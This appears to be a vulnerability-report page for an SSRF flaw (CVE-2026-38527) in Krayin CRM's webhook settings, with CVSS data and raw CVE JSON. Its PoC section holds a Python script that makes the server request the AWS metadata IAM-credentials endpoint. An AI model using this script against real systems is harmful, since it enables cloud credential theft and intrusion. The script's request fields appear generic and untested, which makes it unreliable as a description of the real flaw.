Security Vulnerability Report
中文
CVE-2026-38527 CVSS 8.5 HIGH

CVE-2026-38527

Published: 2026-04-14 16:16:43
Last Modified: 2026-04-17 15:33:34

Description

A Server-Side Request Forgery (SSRF) in the /settings/webhooks/create component of Webkul Krayin CRM v2.2.x allows attackers to scan internal resources via supplying a crafted POST request.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Webkul Krayin CRM v2.2.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://victim-domain.com/settings/webhooks/create" # Note: Requires authentication (Low Privileges PR:L) session = requests.Session() # session.post("http://victim-domain.com/login", data={"email": "[email protected]", "password": "password"}) # Internal target to scan (e.g., AWS metadata service) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "url": internal_target, "event_type": "order_created" } response = session.post(target_url, data=payload) if response.status_code == 200: print("SSRF request sent successfully. Check response time/content for clues.") else: print(f"Failed to send request: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38527", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:43.270", "lastModified": "2026-04-17T15:33:34.050", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) in the /settings/webhooks/create component of Webkul Krayin CRM v2.2.x allows attackers to scan internal resources via supplying a crafted POST request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/TREXNEGRO/Security-Advisories/tree/main/CVE-2026-38527", "source": "[email protected]"}, {"url": "https://github.com/krayin/laravel-crm", "source": "[email protected]"}]}}